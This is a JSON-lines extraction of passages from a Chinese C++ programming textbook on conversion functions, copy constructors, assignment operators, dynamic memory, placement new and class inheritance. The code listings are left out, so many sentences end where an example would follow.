    {"text": "接下来，请注意程序清单11.18的下面两条赋值语句： 第一条赋值语句使用接受double参数的构造函数，将276.8转换为一个Stonewt值，这将把incognito的pound成员设置为276.8。"},
    {"text": "遇到int参数时，编译器查找构造函数Stonewt(int)，以便将该int转换为Stonewt类型。 由于没有找到这样的构造函数，因此编译器寻找接受其他内置类型（int可以转换为这种类型）的构造函数。 Stone(double)构造函数满足这种要求，因此编译器将int转换为double，然后使用Stonewt(double)将其转换为一个Stonewt对象。"},
    {"text": "例如，如果定义了从Stonewt到double的转换函数，就可以使用下面的转换： 也可以让编译器来决定如何做： 编译器发现，右侧是Stonewt类型，而左侧是double类型，因此它将查看程序员是否定义了与此匹配的转换函数。"},
    {"text": "例如，如果pounds为114.4，则pounds +0.5等于114.9，int（114.9）等于114。 但是如果pounds为114.6，则pounds + 0.5是115.1，而int（115.1）为115。"},
    {"text": "例如，假设您在睡眠不足时编写了下面的代码： 通常，您以为编译器能够捕获诸如使用了对象而不是整数作为数组索引等错误，但Stonewt类定义了一个operator int( )，因此Stonewt对象temp将被转换为int 200，并用作数组索引。"},
    {"text": "另一种方法是，用一个功能相同的非转换函数替换该转换函数即可，但仅在被显式地调用时，该函数才会执行。 也就是说，可以将： 替换为： 这样，下面的语句将是非法的： 但如果确实需要这种转换，可以这样做： 警告： 应谨慎地使用隐式转换函数。"},
    {"text": "被称为转换函数的特殊类成员运算符函数，用于将类对象转换为其他类型。 转换函数是类成员，没有返回类型、没有参数、名为operator typeName( )，其中，typeName是对象将被转换成的类型。 将类对象赋给typeName变量或将其强制转换为typeName类型时，该转换函数将自动被调用。"},
    {"text": "）可以使用下面的成员函数实现加法： 也可以将加法作为友元函数来实现，如下所示： 别忘了，可以提供方法定义或友元函数定义，但不能都提供。 上面任何一种格式都允许这样做： 另外，如果提供了Stonewt（double）构造函数，则也可以这样做： 但只有友元函数才允许这样做： 为了解其中的原因，将每一种加法都转换为相应的函数调用。"},
    {"text": "第一种方法是（刚介绍过）将下面的函数定义为友元函数，让Stonewt(double)构造函数将double类型的参数转换为Stonewt类型的参数： 第二种方法是，将加法运算符重载为一个显式使用double类型参数的函数： 这样，下面的语句将与成员函数operator + (double x)完全匹配： 而下面的语句将与友元函数operator + (double x, Stonewt &s)完全匹配： 前面对Vector乘法做了类似的处理。"},
    {"text": "如果up、right和result都是Vector对象，则可以使用下面的任何一条语句来调用矢量加法： 在第二条语句中，由于操作数up和right的类型都是Vector，因此C++将使用Vector的加法定义。"},
    {"text": "下面的通用格式能够满足这种要求： 然而，如果类包含这样的方法，它返回需要显示的数据成员的值，则可以使用这些方法，无需在operator<<( )中直接访问这些成员。"},
    {"text": "首先，任何接受唯一一个参数的构造函数都可被用作转换函数，将类型与该参数相同的值转换为类。 如果将类型与该参数相同的值赋给对象，则C++将自动调用该构造函数。"},
    {"text": "例如，假设有一个String类，它包含一个将char *值作为其唯一参数的构造函数，那么如果bean是String对象，则可以使用下面的语句： 然而，如果在该构造函数的声明前加上了关键字explicit，则该构造函数将只能用于显式转换： 要将类对象转换为其他类型，必须定义转换函数，指出如何进行这种转换。"},
    {"text": "将类对象转换为typeName类型的转换函数的原型如下： 注意，转换函数没有返回类型、没有参数，但必须返回转换后的值（虽然没有声明返回类型）。"},
    {"text": "该文件的内容与下面类似： 2．对Vector类的头文件（程序清单11.13）和实现文件（程序清单11.14）进行修改，使其不再存储矢量的长度和角度，而是在magval( )和angval( )被调用时计算它们。"},
    {"text": "5．重新编写Stonewt类（程序清单11.16和程序清单11.17），使它有一个状态成员，由该成员控制对象应转换为英石格式、整数磅格式还是浮点磅格式。"},
    {"text": "接着报告最小的元素、最大的元素以及大于或等于11英石的元素的数量（最简单的方法是创建一个Stonewt对象，并将其初始化为11英石，然后将其同其他对象进行比较）。"},
    {"text": "7．复数有两个部分组成：实数部分和虚数部分。 复数的一种书写方式是：（3.0，4.0），其中，3.0是实数部分，4.0是虚数部分。 假设a = (A, Bi)，c = (C, Di)，则下面是一些复数运算。"},
    {"text": "加法：a + c = (A+C, (B+D)i)。 减法：a – c = (A−C, (B−D)i)。 乘法：a * c = (A*C−B*D, (A*D + B*C)i)。 乘法::x*c = (x * C, x *Di)，其中x为实数。"},
    {"text": "除非同时执行一系列额外步骤，如扩展类析构函数、使所有的构造函数与new析构函数协调一致、编写额外的类方法来帮助正确完成初始化和赋值（当然，本章将介绍这些步骤），否则，在类构造函数中使用new将导致新问题。"},
    {"text": "而本章的StringBad和String类将介绍这个类的底层结构，提供这种友好的接口涉及大量的编程技术）。 StringBad和String类对象将包含一个字符串指针和一个表示字符串长度的值。 这里使用StringBad和String类，主要是为了深入了解new、delete和静态类成员的工作原理。"},
    {"text": "另外，将省略一些有用的成员和友元函数，如重载的++和>>运算符以及转换函数，以简化类接口（但本章的复习题将要求您添加这些函数）。"},
    {"text": "随便说一句，程序清单21.1使用num_strings成员，只是为了方便说明静态数据成员，并指出潜在的编程问题，字符串类通常并不需要这样的成员。"},
    {"text": "图12.1 静态数据成员 程序清单12.2 strngbad.cpp 首先，请注意程序清单12.2中的下面一条语句： 这条语句将静态成员num_strings的值初始化为零。"},
    {"text": "注意： 静态数据成员在类声明中声明，在包含类方法的文件中初始化。 初始化时使用作用域运算符来指出静态成员所属的类。 但如果静态成员是整型或枚举型const，则可以在类声明中初始化。"},
    {"text": "接下来，注意到每个构造函数都包含表达式num_strings++，这确保程序每创建一个新对象，共享变量num_strings的值都将增加1，从而记录String对象的总数。 另外，析构函数包含表达式--num_strings，因此String类也将跟踪对象被删除的情况，从而使num_string成员的值是最新的。 现在来看程序清单12.2中的第一个构造函数，它使用一个常规C字符串来初始化String对象： 类成员str是一个指针，因此构造函数必须提供内存来存储字符串。 初始化对象时，可以给构造函数传递一个字符串指针： 构造函数必须分配足够的内存来存储字符串，然后将字符串复制到内存中。"},
    {"text": "） 接着，构造函数使用strcpy()将传递的字符串复制到新的内存中，并更新对象计数。 最后，构造函数显示当前的对象数目和当前对象中存储的字符串，以助于掌握程序运行情况。"},
    {"text": "在析构函数中使用delete语句可确保对象过期时，由构造函数使用new分配的内存被释放。 警告： 在构造函数中使用new来分配内存时，必须在相应的析构函数中使用delete来释放内存。 如果使用new[]（包括中括号）来分配内存，则应使用delete[]（包括中括号）来释放内存。"},
    {"text": "下面是使用Borland C++5.5命令行编译器进行编译时，该程序的输出： 输出中出现的各种非标准字符随系统而异，这些字符表明，StringBad类名副其实（是一个糟糕的类）。"},
    {"text": "在使用较新的编译器和操作系统的机器上运行时，该程序通常会在显示有关还有−1个对象的信息之前中断，而有些这样的机器将报告通用保护错误（GPF）。"},
    {"text": "构造函数指出自己创建了3个StringBad对象，并为这些对象进行了编号，然后程序使用重载运算符>>列出了这些对象： 然后，程序将headline1传递给callme1( )函数，并在调用后重新显示headline1。"},
    {"text": "其次，虽然按值传递可以防止原始参数被修改，但实际上函数已使原始字符串无法识别，导致显示一些非标准字符（显示的文本取决于内存中包含的内容）。"},
    {"text": "请看输出结果，在为每一个创建的对象自动调用析构函数时，情况更糟糕： 因为自动存储对象被删除的顺序与创建顺序相反，所以最先删除的3个对象是knots、sailor和sport。"},
    {"text": "对象计数（num_strings）递减的次数比递增次数多2，这表明使用了不将num_string递增的构造函数创建了两个对象。 类定义声明并定义了两个构造函数（这两个构造函数都使num_string递增），但结果表明程序使用了3个构造函数。"},
    {"text": "记住，这种形式的初始化等效于下面的语句： 因为sports的类型为StringBad，因此相应的构造函数原型应该如下： 当您使用一个对象来初始化另一个对象时，编译器将自动生成上述构造函数（称为复制构造函数，因为它创建对象的一个副本）。"},
    {"text": "1．默认构造函数 如果没有提供任何构造函数，C++将创建默认构造函数。 例如，假如定义了一个Klunk类，但没有提供任何构造函数，则编译器将提供下述默认构造函数： 也就是说，编译器将提供一个不接受任何参数，也不执行任何操作的构造函数（默认的默认构造函数），这是因为创建对象时总是会调用构造函数： 默认构造函数使Lunk类似于一个常规的自动变量，也就是说，它的值在初始化时是未知的。"},
    {"text": "类的复制构造函数原型通常如下： 它接受一个指向类对象的常量引用作为参数。 例如，String类的复制构造函数的原型如下： 对于复制构造函数，需要知道两点：何时调用和有何功能。 3．何时调用复制构造函数 新建一个对象并将其初始化为同类现有对象时，复制构造函数都将被调用。"},
    {"text": "例如，假设motto是一个StringBad对象，则下面4种声明都将调用复制构造函数： 其中中间的2种声明可能会使用复制构造函数直接创建metoo和also，也可能使用复制构造函数生成一个临时对象，然后将临时对象的内容赋给metoo和also，这取决于具体的实现。"},
    {"text": "在程序清单12.3中，下述语句： 与下面的代码等效（只是由于私有成员是无法访问的，因此这些代码不能通过编译）： 如果成员本身就是类对象，则将使用这个类的复制构造函数来复制成员对象。"},
    {"text": "图12.2 逐个复制成员 12.1.3 回到Stringbad：复制构造函数的哪里出了问题 现在介绍程序清单12.3的两个异常之处（假设输出为该程序清单后面列出的）。"},
    {"text": "解决办法是提供一个对计数进行更新的显式复制构造函数： 提示： 如果类中包含这样的静态数据成员，即其值将在新对象被创建时发生变化，则应该提供一个显式复制构造函数来处理计数问题。"},
    {"text": "析构函数StringBad释放str指针指向的内存，因此释放sailor的效果如下： sailor.str指针指向“Spinach Leaves Bowl for Dollars”，因为它被赋值为sports.str，而sports.str指向的正是上述字符串。"},
    {"text": "图12.3 深度复制 警告： 如果类中包含了使用new初始化的指针成员，应当定义一个复制构造函数，以复制指向的数据，而不是指针，这被称为深度复制。"},
    {"text": "12.1.4 Stringbad的其他问题：赋值运算符 并不是程序清单12.3的所有问题都可以归咎于默认的复制构造函数，还需要看一看默认的赋值运算符。"},
    {"text": "例如，StringBad类的赋值运算符的原型如下： 1．赋值运算符的功能以及何时使用它 将已有的对象赋给另一个对象时，将使用重载的赋值运算符： 初始化对象时，并不一定会使用赋值运算符： 这里，metoo是一个新创建的对象，被初始化为knot的值，因此使用复制构造函数。"},
    {"text": "然而，正如前面指出的，实现时也可能分两步来处理这条语句：使用复制构造函数创建一个临时对象，然后通过赋值将临时对象的值复制到新对象中。"},
    {"text": "2．赋值的问题出在哪里 程序清单12.3将headline1赋给knot： 为knot调用析构函数时，将显示下面的消息： 为Headline1调用析构函数时，显示如下消息（有些实现方式在此之前就异常终止了）： 出现的问题与隐式复制构造函数相同：数据受损。"},
    {"text": "因此，当对knot调用析构函数时，将删除字符串“Celery Stalks at Midnight”； 当对headline1调用析构函数时，将试图删除前面已经删除的字符串。"},
    {"text": "要指出的是，如果操作结果是不确定的，则执行的操作将随编译器而异，包括显示独立声明（Declaration of Independence）或释放隐藏文件占用的硬盘空间。"},
    {"text": "通过返回一个对象，函数可以像常规赋值操作那样，连续进行赋值，即如果S0、S1和S2都是StringBad对象，则可以编写这样的代码： 使用函数表示法时，上述代码为： 因此，S1.operator=（S2）的返回值是函数S0.operator=()的参数。"},
    {"text": "下面的代码说明了如何为StringBad类编写赋值运算符： 代码首先检查自我复制，这是通过查看赋值运算符右边的地址（&s）是否与接收对象（this）的地址相同来完成的。"},
    {"text": "String类应该包含标准字符串函数库cstring的所有功能，才会比较有用，但这里只添加足以说明其工作原理的功能（注意，String类只是一个用作说明的示例，而C++标准string类的内容丰富得多）。"},
    {"text": "12.2.1 修订后的默认构造函数 请注意新的默认构造函数，它与下面类似： 您可能会问，为什么代码为： 而不是： 上面两种方式分配的内存量相同，区别在于前者与类析构函数兼容，而后者不兼容。"},
    {"text": "因此对于下述代码： 可修改为： 对于以其他方式初始化的指针，使用delete [ ]时，结果将是不确定的： C++11空指针 在C++98中，字面值0有两个含义：可以表示数字值零，也可以表示空指针，这使得阅读程序的人和编译器难以区分。 有些程序员使用（void *） 0来标识空指针（空指针本身的内部表示可能不是零），还有些程序员使用NULL，这是一个表示空指针的C语言宏。 C++11提供了更好的解决方案：引入新关键字nullptr，用于表示空指针。"},
    {"text": "您仍可像以前一样使用0——否则大量现有的代码将非法，但建议您使用nullptr： 12.2.2 比较成员函数 在String类中，执行比较操作的方法有3个。"},
    {"text": "要实现字符串比较函数，最简单的方法是使用标准的trcmp()函数，如果依照字母顺序，第一个参数位于第二个参数之前，则该函数返回一个负值；"},
    {"text": "因此，可以这样使用strcmp()： 因为内置的>运算符返回的是一个布尔值，所以可以将代码进一步简化为： 同样，可以按照下面的方式来编写另外两个比较函数： 第一个定义利用了<运算符来表示>运算符，对于内联函数，这是一种很好的选择。"},
    {"text": "12.2.3 使用中括号表示法访问字符 对于标准C-风格字符串来说，可以使用中括号来访问其中的字符： 在C++中，两个中括号组成一个运算符——中括号运算符，可以使用方法operator 来重载该运算符。"},
    {"text": "假设opera是一个String对象： 则对于表达式opera[4]，C++将查找名称和特征标与此相同的方法： 如果找到匹配的原型，编译器将使用下面的函数调用来替代表达式opera[4]： opera对象调用该方法，数组下标4成为该函数的参数。"},
    {"text": "例如，可以编写这样的代码： 第二条语句将被转换为一个重载运算符函数调用： 这里将r赋给方法的返回值，而函数返回的是指向means.str[0]的引用，因此上述代码等同于下面的代码： 代码的最后一行访问的是私有数据，但由于operator 是类的一个方法，因此能够修改数组的内容。"},
    {"text": "假设有下面的常量对象： 如果只有上述operator 定义，则下面的代码将出错： 原因是answer是常量，而上述方法无法确保不修改数据（实际上，有时该方法的工作就是修改数据，因此无法确保不修改数据）。"},
    {"text": "但在重载时，C++将区分常量和非常量函数的特征标，因此可以提供另一个仅供const String对象使用的operator 版本： 有了上述定义后，就可以读/写常规String对象了；"},
    {"text": "而对于const String对象，则只能读取其数据： 12.2.4 静态类成员函数 可以将成员函数声明为静态的（函数声明必须包含关键字static，但如果函数定义是独立的，则其中不能包含关键字static），这样做有两个重要的后果。"},
    {"text": "例如，可以给String类添加一个名为HowMany( )的静态成员函数，方法是在类声明中添加如下原型/定义： 调用它的方式如下： 其次，由于静态成员函数不与特定的对象相关联，因此只能使用静态数据成员。 例如，静态方法HowMany()可以访问静态成员num_string，但不能访问str和len。"},
    {"text": "同样，也可以使用静态成员函数设置类级（classwide）标记，以控制某些类接口的行为。 例如，类级标记可以控制显示类内容的方法所使用的格式。"},
    {"text": "例如，假设使用getline()读取了一个字符串，并要将这个字符串放置到String对象中，前面定义的类方法让您能够这样编写代码： 但如果经常需要这样做，这将不是一种理想的解决方案。"},
    {"text": "3．程序调用析构函数~String()删除临时对象。 为提高处理效率，最简单的方法是重载赋值运算符，使之能够直接使用常规字符串，这样就不用创建和删除临时对象了。"},
    {"text": "程序首先提示用户输入，然后将用户输入的字符串存储到String对象中，并显示它们，最后指出哪个字符串最短、哪个字符串按字母顺序排在最前面。"},
    {"text": "这个示例使用了下述代码： 如果实现遵循了最新的C++标准，则if语句中的第一个条件将检测到空行，第二个条件用于旧版本实现中检测空行。"},
    {"text": "然而，可以在一个构造函数中使用new初始化指针，而在另一个构造函数中将指针初始化为空（0或C++11中的nullptr），这是因为delete（无论是带中括号还是不带中括号）可以用于空指针。 NULL、0还是nullptr：以前，空指针可以用0或NULL（在很多头文件中，NULL是一个被定义为0的符号常量）来表示。 C程序员通常使用NULL而不是0，以指出这是一个指针，就像使用‘\\0’而不是0来表示空字符，以指出这是一个字符一样。"},
    {"text": "通常，该类方法与下面类似： 具体地说，该方法应完成这些操作：检查自我赋值的情况，释放成员指针以前指向的内存，复制数据而不仅仅是数据的地址，并返回一个指向调用对象的引用。"},
    {"text": "12.3.1 应该和不应该 下面的摘要包含了两个不正确的示例（指出什么是不应当做的）以及一个良好的构造函数示例： 第一个构造函数没有使用new来初始化str。"},
    {"text": "12.3.2 包含类成员的类的逐成员复制 假设类成员的类型为String类或标准string类： String和string都使用动态内存分配，这是否意味着需要为Magazine类编写复制构造函数和赋值运算符？"},
    {"text": "如果您将一个Magazine对象复制或赋值给另一个Magazine对象，逐成员复制将使用成员类型定义的复制构造函数和赋值运算符。 也就是说，复制成员title时，将使用String的复制构造函数，而将成员title赋给另一个Magazine对象时，将使用String的赋值运算符，依此类推。"},
    {"text": "12.4 有关返回对象的说明 当成员函数或独立的函数返回对象时，有几种返回方式可供选择。 可以返回指向对象的引用、指向对象的const引用或const对象。"},
    {"text": "12.4.1 返回指向const对象的引用 使用const引用的常见原因是旨在提高效率，但对于何时可以采用这种方式存在一些限制。 如果函数返回（通过调用对象的方法或将对象作为参数）传递给它的对象，可以通过返回引用来提高其效率。"},
    {"text": "为此，返回String对象或String对象的引用都是可行的，但与Vector示例中一样，通过使用引用，可避免该函数调用String的复制构造函数来创建一个新的String对象。"},
    {"text": "返回类型必须是ostream &，而不能仅仅是ostream。 如果使用返回类型ostream，将要求调用ostream类的复制构造函数，而ostream没有公有的复制构造函数。"},
    {"text": "12.4.3 返回对象 如果被返回的对象是被调用函数中的局部变量，则不应按引用方式返回它，因为在被调用函数执行完毕时，局部对象将调用其析构函数。"},
    {"text": "相反，在Vector::operator+( )中计算得到的两个矢量的和被存储在一个新的临时对象中，该函数也不应返回指向该临时对象的引用，而应该返回实际的Vector对象，而不是引用： 在这种情况下，存在调用复制构造函数来创建被返回的对象的开销，然而这是无法避免的。 在上述示例中，构造函数调用Vector（x + b.x，y + b.y）创建一个方法operator+()能够访问的对象；"},
    {"text": "12.4.4 返回const对象 前面的Vector::operator+( )定义有一个奇异的属性，它旨在让您能够以下面这样的方式使用它： 然而，这种定义也允许您这样使用它： 这提出了三个问题。"},
    {"text": "如果您担心这种行为可能引发的误用和滥用，有一种简单的解决方案：将返回类型声明为const Vector。 例如，如果Vector::operator+()的返回类型被声明为const Vector，则语句1仍然合法，但语句2和语句3将是非法的。"},
    {"text": "这种特殊的语法意味着使用对象saying [choice]来初始化新的String对象，这将调用复制构造函数，因为复制构造函数（const String &）的参数类型与初始化值（saying [choice]）匹配。"},
    {"text": "程序清单12.7 sayings2.cpp 使用new初始化对象 通常，如果Class_name是类，value的类型为Type_name，则下面的语句： 将调用如下构造函数： 这里可能还有一些琐碎的转换，例如： 另外，如果不存在二义性，则将发生由原型匹配导致的转换（如从int到double）。"},
    {"text": "下面的初始化方式将调用默认构造函数： 下面是程序清单12.7中程序的运行情况： 由于该程序随机选择用户输入的格言，因此即使输入相同，显示的结果也可能不同。"},
    {"text": "也就是说，为保存字符串地址的str指针和len成员分配内存（程序并没有给num_string成员分配内存，这是因为num_string成员是静态成员，它独立于对象被保存）。"},
    {"text": "与前面介绍的相同，这将只释放用于保存str指针和len成员的空间，并不释放str指向的内存，而该任务将由析构函数来完成（参见图12.4）。"},
    {"text": "12.5.2 指针和对象小结 使用对象指针时，需要注意几点（参见图12.5）： 使用常规表示法来声明指向对象的指针： 可以将指针初始化为指向已有的对象： 可以使用new来初始化指针，这将创建一个新的对象（有关使用new初始化指针的细节，请参见图12.6）： 对类使用new将调用相应的类构造函数来初始化新创建的对象： 图12.5 指针和对象 图12.6 使用new创建对象 可以使用->运算符通过指针访问类方法： 可以对对象指针应用解除引用运算符（*）来获得对象： 12.5.3 再谈定位new运算符 本书前面介绍过，定位new运算符让您能够在分配内存时能够指定内存位置。 第9章从内置类型的角度讨论了定位new运算符，将这种运算符用于对象时情况有些不同，程序清单12.8使用了定位new运算符和常规new运算符给对象分配内存，其中定义的类的构造函数和析构函数都会显示一些信息，让用户能够了解对象的历史。"},
    {"text": "程序清单12.8 placenew1.cpp 该程序使用new运算符创建了一个512字节的内存缓冲区，然后使用new运算符在堆中创建两个JustTesting对象，并试图使用定位new运算符在内存缓冲区中创建两个JustTesting对象。"},
    {"text": "在另一方面，指针pc1指向的地址与buffer相同，但buffer是使用new []初始化的，因此必须使用delete [ ]而不是delete来释放。 即使buffer是使用new而不是new []初始化的，delete pc1也将释放buffer，而不是pc1。"},
    {"text": "该程序确实释放了buffer： 正如上述注释指出的，delete [] buffer;释放使用常规new运算符分配的整个内存块，但它没有为定位new运算符在该内存块中创建的对象调用析构函数。"},
    {"text": "您之所以知道这一点，是因为该程序使用了一个显示信息的析构函数，该析构函数宣布了“Heap1”和“Heap2”的死亡，但却没有宣布“Just Testing”和“Bad Idea”的死亡。"},
    {"text": "由于有指向对象的指针，因此可以使用这些指针： 程序清单12.9对定位new运算符使用的内存单元进行管理，加入到合适的delete和显式析构函数调用，从而修复了程序清单12.8中的问题。"},
    {"text": "12.6.1 重载<<运算符 要重新定义 << 运算符，以便将它和cout一起用来显示对象的内容，请定义下面的友元运算符函数： 其中c_name是类名。"},
    {"text": "12.6.2 转换函数 要将单个值转换为类类型，需要创建原型如下所示的类构造函数： 其中c_name为类名，type_name是要转换的类型的名称。 要将类转换为其他类型，需要创建原型如下所示的类成员函数： 虽然该函数没有声明返回类型，但应返回所需类型的值。"},
    {"text": "12.6.3 其构造函数使用new的类 如果类使用new运算符来分配类成员指向的内存，在设计时应采取一些预防措施（前面总结了这些预防措施，应牢记这些规则，这是因为编译器并不知道这些规则，因此无法发现错误）。 对于指向的内存是由new分配的所有类成员，都应在类的析构函数中对其使用delete，该运算符将释放分配的内存。 如果析构函数通过对指针类成员使用delete来释放内存，则每个构造函数都应当使用new来初始化指针，或将它设置为空指针。 构造函数中要么使用new []，要么使用new，而不能混用。 如果构造函数使用的是new[]，则析构函数应使用delete []； 如果构造函数使用的是new，则析构函数应使用delete。"},
    {"text": "这种构造函数的原型通常如下： 应定义一个重载赋值运算符的类成员函数，其函数定义如下（其中c_pointer是c_name的类成员，类型为指向type_name的指针）。"},
    {"text": "应当能够创建空队列； 应当能够检查队列是否为空； 应当能够检查队列是否是满的； 应当能够在队尾添加项目； 应当能够从队首删除项目； 应当能够确定队列中项目数。"},
    {"text": "默认情况下，队列最多可存储10个项目，但是可以用显式初始化参数覆盖该默认值： 使用队列时，可以使用typedef来定义Item（第14章将介绍如何使用类模板）。"},
    {"text": "如果声明是在类的私有部分进行的，则只能在这个类使用被声明的类型； 如果声明是在公有部分进行的，则可以从类的外部通过作用域解析运算符使用被声明的类型。 例如，如果Node是在Queue类的公有部分声明的，则可以在类的外面声明Queue::Node类型的变量。"},
    {"text": "使用这种表示法，可以这样编写Queue的构造函数： 通常，初值可以是常量或构造函数的参数列表中的参数。 这种方法并不限于初始化常量，可以将Queue构造函数写成如下所示： 只有构造函数可以使用这种初始化列表语法。"},
    {"text": "如上所示，对于const类成员，必须使用这种语法。 另外，对于被声明为引用的类成员，也必须使用这种语法： 这是因为引用与const数据类似，只能在被创建时进行初始化。"},
    {"text": "成员初始化列表的语法 如果Classy是一个类，而mem1、mem2和mem3都是这个类的数据成员，则类构造函数可以使用如下的语法来初始化数据成员： 上述代码将mem1初始化为n，将mem2初始化为0，将mem3初始化为n*m + 2。"},
    {"text": "C++11的类内初始化 C++11允许您以更直观的方式进行初始化： 这与在构造函数中使用成员初始化列表等价： 成员mem1和mem2将分别被初始化为10和20，除非调用了使用成员初始化列表的构造函数，在这种情况下，实际列表将覆盖这些默认初始值： 在这里，构造函数将使用n来初始化mem1，但mem2仍被设置为20。"},
    {"text": "下面是一种实现，它从链表头开始，依次删除其中的每个节点： 您知道，使用new的类通常需要包含显式复制构造函数和执行深度复制的赋值运算符，这个例子也是如此吗？"},
    {"text": "也就是说，如果nip和tuck是Queue对象，则编译器就不允许这样做： 所以，与其将来面对无法预料的运行故障，不如得到一个易于跟踪的编译错误，指出这些方法是不可访问的。"},
    {"text": "程序将使用下面的函数来确定是否在循环期间有客户到来： 其工作原理如下：值RAND_MAX是在cstdlib文件（以前是stdlib.h）中定义的，是rand( )函数可能返回的最大值（0是最小值）。"},
    {"text": "下面是程序清单12.10-12.12组成的程序长时间运行的几个例子： 注意，每小时到达的客户从15名增加到30名时，等候时间并不是加倍，而是增加了15倍。"},
    {"text": "如果使用new运算符为对象分配内存，并将其地址赋给一个指针，则当您将delete用于该指针时将自动为对象调用析构函数。 然而，如果使用定位new运算符（而不是常规new运算符）为类对象分配内存，则必须负责显式地为该对象调用析构函数，方法是使用指向该对象的指针调用析构函数方法。"},
    {"text": "语法如下： 如果数据成员是非静态const成员或引用，则必须采用这种格式，但可将C++11新增的类内初始化用于非静态const成员。 C++11允许类内初始化，即在类定义中进行初始化： 这与使用成员初始化列表等价。"},
    {"text": "b．提供一个Stringlow( )成员函数，将字符串中所有的字母字符转换为小写（别忘了cctype系列字符函数）。 c．提供String( )成员函数，将字符串中所有字母字符转换成大写。"},
    {"text": "使用下面的程序来测试您的工作： 输出应与下面相似： 3．新编写程序清单10.7和程序清单10.8描述的Stock类，使之使用动态分配的内存，而不是string类对象来存储股票名称。"},
    {"text": "然后再找出要使平均等候时间为1分钟，每小时到达的客户数应该为多少（注意，这是一个非线性问题，即将ATM数量加倍，并不能保证每小时处理的客户数量也翻倍，并确保客户等候的时间少于1分钟）？"},
    {"text": "开发新项目，尤其是当项目十分庞大时，重用经过测试的代码比重新编写代码要好得多。 使用已有的代码可以节省时间，由于已有的代码已被使用和测试过，因此有助于避免在程序中引入错误。"},
    {"text": "除非厂商提供了库函数的源代码（通常是不提供的），否则您将无法根据自己特定的需求，对函数进行扩展或修改，而必须根据库的情况修改自己的程序。 即使厂商提供了源代码，在修改时也有一定的风险，如不经意地修改了函数的工作方式或改变了库函数之间的关系。"},
    {"text": "可以在已有类的基础上添加功能。 例如，对于数组类，可以添加数学运算。 可以给类添加数据。 例如，对于字符串类，可以派生出一个类，并添加指定字符串显示颜色的数据成员。 可以修改类方法的行为。"},
    {"text": "作为俱乐部的首席程序员，需要设计一个简单的TableTennisPlayer类，如程序清单13.1和13.2所示。 程序清单13.1 tabtenn0.h 程序清单13.2 tabtenn0.cpp TableTennisPlayer类只是记录会员的姓名以及是否有球桌。"},
    {"text": "其次，构造函数使用了第12章介绍的成员初始化列表语法，但也可以像下面这样做： 这将首先为firstname调用string的默认构造函数，再调用string的赋值运算符将firstname设置为fn，但初始化列表语法可减少一个步骤，它直接使用string的复制构造函数将firstname初始化为fn。"},
    {"text": "程序清单13.3 usett0.cpp 下面是程序清单13.1.-13.3组成的程序的输出： 注意到该程序实例化对象时将C-风格字符串作为参数： 但构造函数的形参类型被声明为const string &。 这导致类型不匹配，但与第12章创建的String类一样，string类有一个将const char *作为参数的构造函数，使用C-风格字符串初始化string对象时，将自动调用这个构造函数。 总之，可将string对象或C-风格字符串作为构造函数TableTennisPlayer的参数； 将前者作为参数时，将调用接受const string &作为参数的string构造函数，而将后者作为参数时，将调用接受const char *作为参数的string构造函数。"},
    {"text": "派生类对象包含基类对象。 使用公有派生，基类的公有成员将成为派生类的公有成员； 基类的私有部分也将成为派生类的一部分，但只能通过基类的公有和保护方法访问（稍后将介绍保护成员）。"},
    {"text": "因此，RatedPlayer对象可以存储运动员的姓名及其是否有球桌。 另外，RatedPlayer对象还可以使用TableTennisPlayer类的Name( )、hasTable( )和ResetTable( )方法（参见图13.1）。"},
    {"text": "派生类需要自己的构造函数。 派生类可以根据需要添加额外的数据成员和成员函数。 在这个例子中，派生类需要另一个数据成员来存储比分，还应包含检索比分的方法和重置比分的方法。 因此，类声明与下面类似： 构造函数必须给新成员（如果有的话）和继承的成员提供数据。"},
    {"text": "13.1.2 构造函数：访问权限的考虑 派生类不能直接访问基类的私有成员，而必须通过基类方法进行访问。 例如，RatedPlayer构造函数不能直接设置继承的成员（firstname、lastname和hasTable），而必须使用基类的公有方法来访问私有的基类成员。"},
    {"text": "具体地说，派生类构造函数必须使用基类构造函数。 创建派生类对象时，程序首先创建基类对象。 从概念上说，这意味着基类对象应当在程序进入派生类构造函数之前被创建。"},
    {"text": "例如，假设程序包含如下声明： 则RealPlayer构造函数将把实参“Mallory”、“Duck”和true赋给形参fn、In和ht，然后将这些参数作为实参传递给TableTennisPlayer构造函数，后者将创建一个嵌套TableTennisPlayer对象，并将数据“Mallory”、“Duck”和true存储在该对象中。 然后，程序进入RealPlayer构造函数体，完成RealPlayer对象的创建，并将参数r的值（即1140）赋给rating成员（参见图13.2）。"},
    {"text": "必须首先创建基类对象，如果不调用基类构造函数，程序将使用默认的基类构造函数，因此上述代码与下面等效： 除非要使用默认构造函数，否则应显式调用正确的基类构造函数。"},
    {"text": "下面来看第二个构造函数的代码： 这里也将TableTennisPlayer的信息传递给了TableTennisPlayer构造函数： 由于tp的类型为TableTennisPlayer &，因此将调用基类的复制构造函数。"},
    {"text": "在这种情况下，执行成员复制的隐式复制构造函数是合适的，因为这个类没有使用动态内存分配（string成员确实使用了动态内存分配，但本书前面说过，成员复制将使用string类的复制构造函数来复制string成员）。"},
    {"text": "所以，第二个构造函数可以按照下述方式编写： 有关派生类构造函数的要点如下： 首先创建基类对象； 派生类构造函数应通过成员初始化列表将基类信息传递给基类构造函数； 派生类构造函数应初始化派生类新增的数据成员。"},
    {"text": "释放对象的顺序与创建对象的顺序相反，即首先执行派生类的析构函数，然后自动调用基类的析构函数。 注意： 创建派生类对象时，程序首先调用基类构造函数，然后再调用派生类构造函数。"},
    {"text": "程序清单13.6 usett1.cpp 下面是程序清单13.4～程序清单13.6组成的程序的输出： 13.1.4 派生类和基类之间的特殊关系 派生类与基类之间有一些特殊关系。"},
    {"text": "其中之一是派生类对象可以使用基类的方法，条件是方法不是私有的： 另外两个重要的关系是：基类指针可以在不进行显式类型转换的情况下指向派生类对象； 基类引用可以在不进行显式类型转换的情况下引用派生类对象： 然而，基类指针或引用只能用于调用基类方法，因此，不能使用rt或pt来调用派生类的ResetRanking方法。"},
    {"text": "如果基类引用和指针可以指向派生类对象，将出现一些很有趣的结果。 其中之一是基类引用定义的函数或指针参数可用于基类对象或派生类对象。"},
    {"text": "例如，在下面的函数中： 形参rt是一个基类引用，它可以指向基类对象或派生类对象，所以可以在Show( )中使用TableTennis参数或Ratedplayer参数： 对于形参为指向基类的指针的函数，也存在相似的关系。"},
